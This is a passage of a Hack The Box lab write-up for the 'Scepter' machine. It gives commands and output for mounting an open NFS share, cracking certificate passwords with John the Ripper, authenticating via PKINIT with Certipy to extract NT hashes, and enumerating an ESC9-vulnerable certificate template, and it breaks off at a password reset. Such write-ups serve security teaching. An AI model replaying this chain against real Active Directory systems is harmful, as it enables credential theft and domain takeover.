> For the complete documentation index, see [llms.txt](https://www.adroxz.foo/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://www.adroxz.foo/hackthebox-and-writeups/scepter.md).

# Scepter

NFS share leaks PKI files. Crack PFX password, authenticate via PKINIT. Chain ForceChangePassword → GenericAll ACLs to exploit ESC9/ESC14, impersonate users, and DCSync for Administrator.

<figure><img src="https://228349275-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDwo0QXoFAyplFtxgehnM%2Fuploads%2F2F8tkyf8gDqhdFTucfEW%2Fimage.png?alt=media&amp;token=c1bab844-0e67-4fec-a985-e1a718f58367" alt=""><figcaption></figcaption></figure>

**Difficulty:** Hard | **OS:** Windows | **Category:** Active Directory / ADCS

***

### Overview

SCEPTER is a Windows Active Directory machine centered around **Active Directory Certificate Services (ADCS)** misconfigurations. The attack chain involves:

1. Enumerating an NFS share to recover user certificates
2. Cracking PFX passwords with JohnTheRipper
3. Using **PKINIT authentication** via Certipy to obtain NT hashes
4. Chaining **ESC9** and **ESC14** ADCS vulnerabilities through deliberate privilege pivots
5. Dumping the Domain Controller's Administrator hash via DCSync

***

### Enumeration

#### Nmap

**Domain:** `scepter.htb`\
**DC hostname:** `dc01.scepter.htb`\
**CA Name (from cert):** `scepter-DC01-CA`

> The clock skew of \~8 hours is important for Kerberos. Sync time with `ntpdate` or pass `-k` for Kerberos auth in tools.

```bash
┌──(kali㉿kali)-[~]
└─$ nmap 10.129.244.44 -sCV

PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-03-19 05:07:49Z)
111/tcp  open  rpcbind       2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/tcp6  rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  2,3,4        111/udp6  rpcbind
|   100003  2,3         2049/udp   nfs
|   100003  2,3         2049/udp6  nfs
|   100003  2,3,4       2049/tcp   nfs
|   100003  2,3,4       2049/tcp6  nfs
|   100005  1,2,3       2049/tcp   mountd
|   100005  1,2,3       2049/tcp6  mountd
|   100005  1,2,3       2049/udp   mountd
|   100005  1,2,3       2049/udp6  mountd
|   100021  1,2,3,4     2049/tcp   nlockmgr
|   100021  1,2,3,4     2049/tcp6  nlockmgr
|   100021  1,2,3,4     2049/udp   nlockmgr
|   100021  1,2,3,4     2049/udp6  nlockmgr
|   100024  1           2049/tcp   status
|   100024  1           2049/tcp6  status
|   100024  1           2049/udp   status
|_  100024  1           2049/udp6  status
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: scepter.htb, Site: Default-First-Site-Name)
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:dc01.scepter.htb
| Issuer: commonName=scepter-DC01-CA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-11-07T20:25:34
| Not valid after:  2026-11-07T20:25:34
| MD5:     1582 0ca9 794a 4caf 2309 50ae 8ac5 cbd4
| SHA-1:   fd03 810d 8150 f2ee 73f6 35b2 5042 d348 541e c5ef
|_SHA-256: 0588 c9de af6b f807 b16a de6c 0f09 08d9 0d78 45bf 1542 15cd 29ef c1a0 af0a 60d2
|_ssl-date: 2026-03-19T05:10:11+00:00; +7h59m58s from scanner time.
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: scepter.htb, Site: Default-First-Site-Name)
|_ssl-date: 2026-03-19T05:10:08+00:00; +7h59m59s from scanner time.
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:dc01.scepter.htb
| Issuer: commonName=scepter-DC01-CA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-11-07T20:25:34
| Not valid after:  2026-11-07T20:25:34
| MD5:     1582 0ca9 794a 4caf 2309 50ae 8ac5 cbd4
| SHA-1:   fd03 810d 8150 f2ee 73f6 35b2 5042 d348 541e c5ef
|_SHA-256: 0588 c9de af6b f807 b16a de6c 0f09 08d9 0d78 45bf 1542 15cd 29ef c1a0 af0a 60d2
2049/tcp open  nlockmgr      1-4 (RPC #100021)
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: scepter.htb, Site: Default-First-Site-Name)
|_ssl-date: 2026-03-19T05:10:09+00:00; +7h59m59s from scanner time.
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:dc01.scepter.htb
| Issuer: commonName=scepter-DC01-CA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-11-07T20:25:34
| Not valid after:  2026-11-07T20:25:34
| MD5:     1582 0ca9 794a 4caf 2309 50ae 8ac5 cbd4
| SHA-1:   fd03 810d 8150 f2ee 73f6 35b2 5042 d348 541e c5ef
|_SHA-256: 0588 c9de af6b f807 b16a de6c 0f09 08d9 0d78 45bf 1542 15cd 29ef c1a0 af0a 60d2
3269/tcp open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: scepter.htb, Site: Default-First-Site-Name)
|_ssl-date: 2026-03-19T05:10:08+00:00; +7h59m59s from scanner time.
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:dc01.scepter.htb
| Issuer: commonName=scepter-DC01-CA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-11-07T20:25:34
| Not valid after:  2026-11-07T20:25:34
| MD5:     1582 0ca9 794a 4caf 2309 50ae 8ac5 cbd4
| SHA-1:   fd03 810d 8150 f2ee 73f6 35b2 5042 d348 541e c5ef
|_SHA-256: 0588 c9de af6b f807 b16a de6c 0f09 08d9 0d78 45bf 1542 15cd 29ef c1a0 af0a 60d2
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
5986/tcp open  ssl/wsmans?
|_ssl-date: 2026-03-19T05:10:08+00:00; +7h59m59s from scanner time.
| ssl-cert: Subject: commonName=dc01.scepter.htb
| Subject Alternative Name: DNS:dc01.scepter.htb
| Issuer: commonName=dc01.scepter.htb
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-11-01T00:21:41
| Not valid after:  2025-11-01T00:41:41
| MD5:     e84c 6894 816e b7f5 4338 0a1f a896 2075
| SHA-1:   4e58 3799 020d aaf4 d5ce 0c1e 76db 32cd 5a0e 28a7
|_SHA-256: 1eb9 f2f9 b905 28bf dc30 e0d1 1f29 933b 52fd f440 7c5a 4c2d 4847 7751 7b6e a180
| tls-alpn: 
|   h2
|_  http/1.1
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3.1.1: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2026-03-19T05:10:00
|_  start_date: N/A
|_clock-skew: mean: 7h59m58s, deviation: 0s, median: 7h59m58s
```

The scan tells us we are dealing with a Domain Controller — Kerberos (88), DNS (53), LDAP (389/636/3268/3269), SMB (445), and WinRM (5985/5986) are all present. The `rpcbind` output on port 111 is especially interesting because it exposes an **NFS** service (`nfs` on port 2049), which is unusual for a Windows machine and immediately worth investigating.

The LDAP SSL certificate reveals the CA name (`scepter-DC01-CA`) and confirms the domain is `scepter.htb` with DC hostname `dc01.scepter.htb`. Add these to `/etc/hosts` before proceeding.

***

#### NFS Enumeration

The `rpcbind` and NFS services are a clear invitation to check for exposed shares:

```bash
┌──(kali㉿kali)-[~]
└─$ showmount -e 10.129.244.44
Export list for 10.129.244.44:
/helpdesk (everyone)
```

The `/helpdesk` share is world-readable with no authentication required. Mount it:

```
┌──(kali㉿kali)-[~]
└─$ mkdir -p /tmp/helpdesk  


┌──(kali㉿kali)-[~]
└─$ sudo mount -t nfs 10.129.244.44:/helpdesk /tmp/helpdesk -o nolock
[sudo] password for kali: 


┌──(kali㉿kali)-[~]
└─$ sudo su   


┌──(root㉿kali)-[/home/kali]
└─# cd /tmp/helpdesk 


┌──(root㉿kali)-[/tmp/helpdesk]
└─# ls
baker.crt  baker.key  clark.pfx  lewis.pfx  scott.pfx
```

Five certificate-related files are present:

| File        | Description                         |
| ----------- | ----------------------------------- |
| `baker.crt` | X.509 certificate for `d.baker`     |
| `baker.key` | Encrypted private key for `d.baker` |
| `clark.pfx` | PKCS#12 bundle for `m.clark`        |
| `lewis.pfx` | PKCS#12 bundle for `e.lewis`        |
| `scott.pfx` | PKCS#12 bundle for `o.scott`        |

This is a goldmine — PKI material left on a world-readable share suggests a misconfigured helpdesk workflow. The `.pfx` (PKCS#12) format bundles a certificate and private key together; if we can recover the password, we may be able to authenticate as those users directly via certificate-based Kerberos (PKINIT). The `baker.crt`/`baker.key` pair is split, which is less common — we'll need to bundle them manually.

Copy them to your working directory:

```
┌──(root㉿kali)-[/tmp/helpdesk]
└─# cp baker.crt baker.key clark.pfx lewis.pfx scott.pfx ~/Documents/scepter/
```

***

### Initial Access — Certificate Analysis

#### Inspecting baker.crt

Before attempting authentication, inspect the certificate to understand what account it belongs to and whether it is valid for PKINIT:

```bash
┌──(kali㉿kali)-[~/Documents/scepter]
└─$ sudo openssl x509 -in baker.crt -text -noout
[sudo] password for kali: 
Certificate:
    Data:
        Version: 3 (0x2)
        Serial Number:
            62:00:00:00:08:bc:41:75:09:ba:f6:6f:d8:00:01:00:00:00:08
        Signature Algorithm: sha256WithRSAEncryption
        Issuer: DC=htb, DC=scepter, CN=scepter-DC01-CA
        Validity
            Not Before: Nov  7 18:53:21 2025 GMT
            Not After : Nov  5 18:53:21 2035 GMT
        Subject: DC=htb, DC=scepter, CN=Users, CN=d.baker, emailAddress=d.baker@scepter.htb
        Subject Public Key Info:
            Public Key Algorithm: rsaEncryption
                Public-Key: (2048 bit)
                Modulus:
                    00:a5:e9:e8:95:99:b9:56:1d:01:9d:bc:42:cb:b0:
                    0a:bb:de:c8:5d:b0:bc:79:48:3b:59:ce:90:b1:c1:
                    7f:f3:10:de:7c:17:f5:ab:8d:48:47:de:e2:16:d7:
                    c8:61:ae:0c:51:df:e1:a4:6d:c7:24:a5:67:d5:9e:
                    3b:36:2a:54:3b:32:49:7c:f3:58:0a:c0:34:8e:45:
                    84:0c:9b:c3:c6:60:c6:4b:7d:df:b5:1d:19:28:53:
                    8c:3b:bf:5e:72:e3:c0:34:33:3c:18:6c:52:3c:93:
                    6c:40:e4:b9:84:7c:0a:69:c0:44:84:63:81:97:0a:
                    d6:07:1b:f9:1e:c1:e3:43:20:8b:db:7a:a6:31:12:
                    fa:ff:8a:bc:06:9d:0a:2a:5f:25:35:4b:20:3d:ba:
                    6f:53:3b:c8:7c:28:7f:56:d3:02:aa:a5:25:a8:ae:
                    35:42:31:e2:82:b5:8a:f5:fb:79:73:e0:c2:06:bf:
                    c0:84:c0:69:eb:3f:74:48:a1:39:58:2e:89:d8:9d:
                    65:f5:94:75:2c:97:df:d4:bc:bd:e0:ee:c0:73:c9:
                    5f:f2:2d:45:5d:09:69:17:74:62:fb:6b:87:45:56:
                    23:55:cd:16:52:1b:e8:26:f3:9c:66:88:77:04:db:
                    a6:f1:3b:dc:35:ae:2b:42:f4:b5:e4:f7:d3:4b:3d:
                    bf:d9
                Exponent: 65537 (0x10001)
        X509v3 extensions:
            X509v3 Subject Key Identifier: 
                5F:4C:19:F0:FE:D8:5C:90:54:11:01:70:02:A3:83:BD:78:0F:0E:77
            X509v3 Authority Key Identifier: 
                8C:04:26:20:DC:34:45:B6:1F:07:1A:9D:BD:45:97:AB:FF:4C:DF:8B
            X509v3 CRL Distribution Points: 
                Full Name:
                  URI:ldap:///CN=scepter-DC01-CA(1),CN=dc01,CN=CDP,CN=Public%20Key%20Services,CN=Services,CN=Configuration,DC=scepter,DC=htb?certificateRevocationList?base?objectClass=cRLDistributionPoint

            Authority Information Access: 
                CA Issuers - URI:ldap:///CN=scepter-DC01-CA,CN=AIA,CN=Public%20Key%20Services,CN=Services,CN=Configuration,DC=scepter,DC=htb?cACertificate?base?objectClass=certificationAuthority
            X509v3 Key Usage: critical
                Digital Signature, Key Encipherment
            Microsoft certificate template: 
                0/.'+.....7.....m...........D...x.*...I......d...
            X509v3 Extended Key Usage: 
                Microsoft Encrypted File System, E-mail Protection, TLS Web Client Authentication
            Microsoft Application Policies Extension: 
                0&0..
+.....7
..0
..+.......0
..+.......
            X509v3 Subject Alternative Name: 
                othername: UPN:d.baker@scepter.htb, email:d.baker@scepter.htb
            Microsoft NTDS CA Extension: 
                0<.:.
+.....7....,.*S-1-5-21-74879546-916818434-740295365-1106
            S/MIME Capabilities: 
......0...+....0050...*.H..
..*.H..
    Signature Algorithm: sha256WithRSAEncryption
    Signature Value:
        91:97:72:d5:6a:61:24:64:21:a8:c1:53:6b:4b:b3:13:53:5c:
        6e:fe:3f:d3:b2:ae:94:a9:1c:20:25:28:ea:80:4f:3b:f7:f1:
        14:28:b7:86:07:ef:d8:42:ec:93:98:3f:47:49:37:41:76:e2:
        c0:b1:ec:b4:fc:cd:08:95:8d:ba:4d:95:db:51:63:20:78:ff:
        c2:74:cf:0b:83:8b:3c:b8:59:6b:25:f0:1e:f3:84:be:1a:04:
        b6:a1:cc:0a:9a:1b:04:e2:a0:6d:25:c2:31:78:55:81:e2:06:
        2f:14:a2:7c:fd:ae:ba:a7:bc:54:3d:73:5a:0d:16:e9:c6:ae:
        64:7a:67:94:29:26:6f:b2:28:8f:20:d6:be:34:89:eb:00:b1:
        1d:0d:42:6b:d9:aa:58:1c:84:b7:93:19:71:9a:ed:44:a0:19:
        fe:52:a7:b1:e7:66:42:e3:95:a4:55:40:d0:2a:bb:6b:3e:bb:
        8c:84:b7:01:b3:41:05:ff:ef:ab:9e:83:e7:47:27:56:9d:0d:
        27:89:f1:4f:b8:ca:13:2f:6e:72:c6:8c:37:31:97:ee:1a:62:
        26:92:8a:b3:db:4b:1d:c0:de:64:17:39:88:35:12:c6:d3:04:
        0c:2e:67:4a:8b:34:b2:45:40:a3:07:ec:42:27:65:f8:30:2d:
        69:81:68:4c
```

Key findings from the certificate:

| Field              | Value                                                          |
| ------------------ | -------------------------------------------------------------- |
| Subject            | `CN=d.baker`                                                   |
| UPN (SAN)          | `d.baker@scepter.htb`                                          |
| Extended Key Usage | **TLS Web Client Authentication** — usable for Kerberos PKINIT |
| NTDS SID Extension | `S-1-5-21-74879546-916818434-740295365-1106`                   |
| Issuer             | `scepter-DC01-CA`                                              |

Three things stand out: the `TLS Web Client Authentication` EKU means this certificate can be used for Kerberos PKINIT authentication (logging in with a cert instead of a password). The `Microsoft NTDS CA Extension` embeds `d.baker`'s SID directly into the certificate, which is how the DC will map it to the correct AD account. And the email address in the Subject and SAN (`d.baker@scepter.htb`) will become important later when we explore the template's email-based identity mapping.

***

#### Cracking the PFX Files

The `baker.key` is password-protected. We need the password to bundle it with `baker.crt` into a usable PFX:

```bash
┌──(kali㉿kali)-[~/Documents/scepter]
└─$ sudo openssl pkcs12 -export \
  -out baker.pfx \
  -inkey baker.key \
  -in baker.crt
Enter pass phrase for baker.key:
Could not find private key from -inkey file from baker.key
40A7EB5AEF7F0000:error:1C800064:Provider routines:ossl_cipher_unpadblock:bad decrypt:../providers/implementations/ciphers/ciphercommon_block.c:107:
40A7EB5AEF7F0000:error:11800074:PKCS12 routines:PKCS12_pbe_crypt_ex:pkcs12 cipherfinal error:../crypto/pkcs12/p12_decr.c:94:empty password


┌──(kali㉿kali)-[~/Documents/scepter]
└─$ sudo openssl pkcs12 -export \
  -out baker.pfx \
  -inkey baker.key \
  -in baker.crt
Enter pass phrase for baker.key:
Could not find private key from -inkey file from baker.key
40670748657F0000:error:1C800064:Provider routines:ossl_cipher_unpadblock:bad decrypt:../providers/implementations/ciphers/ciphercommon_block.c:107:
40670748657F0000:error:11800074:PKCS12 routines:PKCS12_pbe_crypt_ex:pkcs12 cipherfinal error:../crypto/pkcs12/p12_decr.c:94:maybe wrong password
```

The errors confirm the key is encrypted with a password. Try to crack it with `pem2john`:

```bash
┌──(kali㉿kali)-[~/Documents/scepter]
└─$ python3 /usr/share/john/pem2john.py baker.key > baker.hash


┌──(kali㉿kali)-[~/Documents/scepter]
└─$ john baker.hash --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
No password hashes loaded (see FAQ)
```

`pem2john` fails to load any hashes, which means the key format isn't directly crackable this way. Rather than continuing to fight it, the smarter move is to try the same password against the other PFX files on the share — if a helpdesk provisioned all these at once, they likely used the same password for everything. Move on to the `.pfx` files for `clark`, `lewis`, and `scott`:

```bash
┌──(kali㉿kali)-[~/Documents/scepter]
└─$ pfx2john clark.pfx > pfx.hash
pfx2john lewis.pfx >> pfx.hash
pfx2john scott.pfx >> pfx.hash


┌──(kali㉿kali)-[~/Documents/scepter]
└─$ john pfx.hash --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 3 password hashes with 3 different salts (pfx, (.pfx, .p12) [PKCS#12 PBE (SHA1/SHA2) 256/256 AVX2 8x])
Cost 1 (iteration count) is 2048 for all loaded hashes
Cost 2 (mac-type [1:SHA1 224:SHA224 256:SHA256 384:SHA384 512:SHA512]) is 256 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
newpassword      (lewis.pfx)     
newpassword      (clark.pfx)     
newpassword      (scott.pfx)     
3g 0:00:00:00 DONE (2026-03-19 03:24) 6.976g/s 11906p/s 35720c/s 35720C/s newzealand..babygrl
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 
```

All three crack to: **`newpassword`** — a classic weak helpdesk default. Since it's the same across all three PFXs, it's almost certainly the same password used to encrypt `baker.key`.

***

#### Authenticating with the Certificates

Test each cracked PFX against the DC with Certipy. Certipy will attempt PKINIT — using the certificate as a credential to obtain a Kerberos TGT:

```bash
┌──(kali㉿kali)-[~/Documents/scepter]
└─$ certipy auth -pfx lewis.pfx -password newpassword -dc-ip 10.129.244.44
Certipy v5.0.4 - by Oliver Lyak (ly4k)

[*] Certificate identities:
[*]     SAN UPN: 'e.lewis@scepter.htb'
[*]     Security Extension SID: 'S-1-5-21-74879546-916818434-740295365-2101'
[*] Using principal: 'e.lewis@scepter.htb'
[*] Trying to get TGT...
[-] Got error while trying to request TGT: Kerberos SessionError: KDC_ERROR_CLIENT_NOT_TRUSTED(Reserved for PKINIT)
[-] Use -debug to print a stacktrace
[-] See the wiki for more information


┌──(kali㉿kali)-[~/Documents/scepter]
└─$ certipy auth -pfx clark.pfx -password newpassword -dc-ip 10.129.244.44
Certipy v5.0.4 - by Oliver Lyak (ly4k)

[*] Certificate identities:
[*]     SAN UPN: 'm.clark@scepter.htb'
[*]     Security Extension SID: 'S-1-5-21-74879546-916818434-740295365-2103'
[*] Using principal: 'm.clark@scepter.htb'
[*] Trying to get TGT...
[-] Got error while trying to request TGT: Kerberos SessionError: KDC_ERROR_CLIENT_NOT_TRUSTED(Reserved for PKINIT)
[-] Use -debug to print a stacktrace
[-] See the wiki for more information


┌──(kali㉿kali)-[~/Documents/scepter]
└─$ certipy auth -pfx scott.pfx -password newpassword -dc-ip 10.129.244.44
Certipy v5.0.4 - by Oliver Lyak (ly4k)

[*] Certificate identities:
[*]     SAN UPN: 'o.scott@scepter.htb'
[*]     Security Extension SID: 'S-1-5-21-74879546-916818434-740295365-2102'
[*] Using principal: 'o.scott@scepter.htb'
[*] Trying to get TGT...
[-] Got error while trying to request TGT: Kerberos SessionError: KDC_ERROR_CLIENT_NOT_TRUSTED(Reserved for PKINIT)
[-] Use -debug to print a stacktrace
[-] See the wiki for more information
```

All three return `KDC_ERROR_CLIENT_NOT_TRUSTED`. This error specifically means the KDC cannot verify trust in the certificate — typically because the certificate has been **revoked** (the CA has invalidated it) or because the associated account is disabled. These accounts are dead ends for PKINIT, but the cracked password `newpassword` is still valuable.

Now try `d.baker`. The key was encrypted, but since `newpassword` worked for everything else, try it here too. Bundle the cert and key into a PFX, passing the password in both for input and output:

```bash
┌──(kali㉿kali)-[~/Documents/scepter]
└─$ openssl pkcs12 -export -out baker.pfx -inkey baker.key -in baker.crt -passin pass:newpassword -passout pass:newpassword


┌──(kali㉿kali)-[~/Documents/scepter]
└─$ ls
baker.crt  baker.hash  baker.key  baker.pfx  clark.pfx  lewis.pfx  pfx.hash  scott.pfx  users.txt


┌──(kali㉿kali)-[~/Documents/scepter]
└─$ certipy auth -pfx baker.pfx -password newpassword -dc-ip 10.129.244.44
Certipy v5.0.4 - by Oliver Lyak (ly4k)

[*] Certificate identities:
[*]     SAN UPN: 'd.baker@scepter.htb'
[*]     Security Extension SID: 'S-1-5-21-74879546-916818434-740295365-1106'
[*] Using principal: 'd.baker@scepter.htb'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'd.baker.ccache'
[*] Wrote credential cache to 'd.baker.ccache'
[*] Trying to retrieve NT hash for 'd.baker'
[*] Got hash for 'd.baker@scepter.htb': aad3b435b51404eeaad3b435b51404ee:18b5fb0d99e7a475316213c15b6f22ce
```

The DC accepts the certificate. Certipy uses the TGT to perform U2U Kerberos and extract the NT hash via the PAC. **d.baker's NT hash:** `18b5fb0d99e7a475316213c15b6f22ce`

***

### Foothold — d.baker Enumeration

#### Validate Access

With d.baker's hash, check what services are accessible:

```bash
┌──(kali㉿kali)-[~/Documents/scepter]
└─$ nxc smb 10.129.244.44 -u d.baker -H 18b5fb0d99e7a475316213c15b6f22ce --shares
SMB         10.129.244.44   445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:scepter.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.129.244.44   445    DC01             [+] scepter.htb\d.baker:18b5fb0d99e7a475316213c15b6f22ce 
SMB         10.129.244.44   445    DC01             [*] Enumerated shares
SMB         10.129.244.44   445    DC01             Share           Permissions     Remark
SMB         10.129.244.44   445    DC01             -----           -----------     ------
SMB         10.129.244.44   445    DC01             ADMIN$                          Remote Admin
SMB         10.129.244.44   445    DC01             C$                              Default share
SMB         10.129.244.44   445    DC01             IPC$            READ            Remote IPC
SMB         10.129.244.44   445    DC01             NETLOGON        READ            Logon server share 
SMB         10.129.244.44   445    DC01             SYSVOL          READ            Logon server share 


┌──(kali㉿kali)-[~/Documents/scepter]
└─$ nxc winrm 10.129.244.44 -u d.baker -H 18b5fb0d99e7a475316213c15b6f22ce     
WINRM       10.129.244.44   5985   DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:scepter.htb) 
WINRM       10.129.244.44   5985   DC01             [-] scepter.htb\d.baker:18b5fb0d99e7a475316213c15b6f22ce


┌──(kali㉿kali)-[~/Documents/scepter]
└─$ nxc ldap 10.129.244.44 -u d.baker -H 18b5fb0d99e7a475316213c15b6f22ce 
LDAP        10.129.244.44   389    DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:scepter.htb) (signing:None) (channel binding:Never) 
LDAP        10.129.244.44   389    DC01             [+] scepter.htb\d.baker:18b5fb0d99e7a475316213c15b6f22ce
```

d.baker has read access to standard domain shares (NETLOGON, SYSVOL) but **WinRM is denied** — no direct shell yet. LDAP authentication succeeds, which is all we need to run BloodHound and Certipy enumeration.

***

#### ADCS Enumeration — ESC9

Use Certipy to enumerate the CA and all certificate templates for known vulnerabilities:

```bash
┌──(kali㉿kali)-[~/Documents/scepter]
└─$ certipy find -u 'd.baker@scepter.htb' -hashes 'aad3b435b51404eeaad3b435b51404ee:18b5fb0d99e7a475316213c15b6f22ce' -dc-ip 10.129.244.44 -vulnerable -stdout
Certipy v5.0.4 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 36 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 14 enabled certificate templates
[*] Finding issuance policies
[*] Found 21 issuance policies
[*] Found 0 OIDs linked to templates
[*] Retrieving CA configuration for 'scepter-DC01-CA' via RRP
[!] Failed to connect to remote registry. Service should be starting now. Trying again...
[*] Successfully retrieved CA configuration for 'scepter-DC01-CA'
[*] Checking web enrollment for CA 'scepter-DC01-CA' @ 'dc01.scepter.htb'
[!] Error checking web enrollment: [Errno 111] Connection refused
[!] Use -debug to print a stacktrace
[!] Error checking web enrollment: [Errno 111] Connection refused
[!] Use -debug to print a stacktrace
[*] Enumeration output:
Certificate Authorities
  0
    CA Name                             : scepter-DC01-CA
    DNS Name                            : dc01.scepter.htb
    Certificate Subject                 : CN=scepter-DC01-CA, DC=scepter, DC=htb
    Certificate Serial Number           : 6FF5E01ECE1FEDB74BFC66CF337AA8A9
    Certificate Validity Start          : 2025-11-07 18:50:26+00:00
    Certificate Validity End            : 2062-11-07 19:00:26+00:00
    Web Enrollment
      HTTP
        Enabled                         : False
      HTTPS
        Enabled                         : False
    User Specified SAN                  : Disabled
    Request Disposition                 : Issue
    Enforce Encryption for Requests     : Enabled
    Active Policy                       : CertificateAuthority_MicrosoftDefault.Policy
    Permissions
      Owner                             : SCEPTER.HTB\Administrators
      Access Rights
        ManageCa                        : SCEPTER.HTB\Administrators
                                          SCEPTER.HTB\Domain Admins
                                          SCEPTER.HTB\Enterprise Admins
        ManageCertificates              : SCEPTER.HTB\Administrators
                                          SCEPTER.HTB\Domain Admins
                                          SCEPTER.HTB\Enterprise Admins
        Enroll                          : SCEPTER.HTB\Authenticated Users
Certificate Templates
  0
    Template Name                       : StaffAccessCertificate
    Display Name                        : StaffAccessCertificate
    Certificate Authorities             : scepter-DC01-CA
    Enabled                             : True
    Client Authentication               : True
    Enrollment Agent                    : False
    Any Purpose                         : False
    Enrollee Supplies Subject           : False
    Certificate Name Flag               : SubjectAltRequireEmail
                                          SubjectRequireDnsAsCn
                                          SubjectRequireEmail
    Enrollment Flag                     : AutoEnrollment
                                          NoSecurityExtension
    Extended Key Usage                  : Client Authentication
                                          Server Authentication
    Requires Manager Approval           : False
    Requires Key Archival               : False
    Authorized Signatures Required      : 0
    Schema Version                      : 2
    Validity Period                     : 99 years
    Renewal Period                      : 6 weeks
    Minimum RSA Key Length              : 2048
    Template Created                    : 2024-11-01T02:29:00+00:00
    Template Last Modified              : 2024-11-01T09:00:54+00:00
    Permissions
      Enrollment Permissions
        Enrollment Rights               : SCEPTER.HTB\staff
      Object Control Permissions
        Owner                           : SCEPTER.HTB\Enterprise Admins
        Full Control Principals         : SCEPTER.HTB\Domain Admins
                                          SCEPTER.HTB\Local System
                                          SCEPTER.HTB\Enterprise Admins
        Write Owner Principals          : SCEPTER.HTB\Domain Admins
                                          SCEPTER.HTB\Local System
                                          SCEPTER.HTB\Enterprise Admins
        Write Dacl Principals           : SCEPTER.HTB\Domain Admins
                                          SCEPTER.HTB\Local System
                                          SCEPTER.HTB\Enterprise Admins
    [+] User Enrollable Principals      : SCEPTER.HTB\staff
    [!] Vulnerabilities
      ESC9                              : Template has no security extension.
    [*] Remarks
      ESC9                              : Other prerequisites may be required for this to be exploitable. See the wiki for more details.
```

**Vulnerable template found:**

| Field                 | Value                                      |
| --------------------- | ------------------------------------------ |
| Template Name         | `StaffAccessCertificate`                   |
| Client Authentication | **True**                                   |
| Enrollment Rights     | `SCEPTER.HTB\staff`                        |
| NoSecurityExtension   | **True** → No SID embedded in issued certs |
| Vulnerability         | **ESC9**                                   |

**ESC9** means the template issues certificates **without a SID security extension**. Normally, modern Windows DCs embed the enrollee's SID in the certificate and use that for strict identity mapping (`StrongCertificateBindingEnforcement`). With `NoSecurityExtension`, the DC falls back to matching the certificate's email SAN against LDAP attributes — specifically `altSecurityIdentities` or the account's `mail` attribute. This means: if you can change a user's email attribute before requesting a cert, the issued cert will authenticate as the user whose email matches.

`SubjectAltRequireEmail` is the other critical flag — it means the CA automatically sets the certificate's email SAN from the **enrollee's `mail` LDAP attribute** at request time. The two flags together form the ESC9 attack primitive.

BloodHound confirms `d.baker` is a member of the `staff` group → d.baker **can enroll** in this template.

***

### Privilege Escalation — ESC9 Exploitation Chain

#### The Problem: Can't Change d.baker's Email

`d.baker`'s account lives in the OU `Staff Access Certificate`. For ESC9 to work, we need to update d.baker's `mail` LDAP attribute to impersonate a target user. Attempting that directly results in:

```
insufficientAccessRights
```

d.baker cannot modify their own email attribute. This is because ACL inheritance on this OU is **disabled** — even if a group has GenericAll over the OU, the permissions don't flow down to the individual user objects inside it.

***

#### BloodHound Analysis — Finding the Pivot

BloodHound reveals a multi-hop privilege chain:

<figure><img src="https://228349275-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDwo0QXoFAyplFtxgehnM%2Fuploads%2FSmMCD7IQm9g10Cyz8mnj%2FPasted%20image%2020260319134939.png?alt=media&amp;token=05ecfb7e-fd7a-4c24-9566-e51ea517d65a" alt="" width="314"><figcaption></figcaption></figure>

```
d.baker  --[ForceChangePassword]-->  a.carter
a.carter --[MemberOf]-->  IT SUPPORT
IT SUPPORT --[GenericAll]-->  OU=Staff Access Certificate
```

* `d.baker` has **ForceChangePassword** over `a.carter` — meaning we can set a new password for `a.carter` without knowing the current one
* `a.carter` is in **IT SUPPORT**
* **IT SUPPORT** has **GenericAll** over the entire `Staff Access Certificate` OU

This means: by resetting `a.carter`'s password, we gain an account with full control over the OU containing `d.baker`. But as we'll see, GenericAll over the OU doesn't automatically translate to control over the objects inside it.

#### Step 1: Reset a.carter's Password

```bash
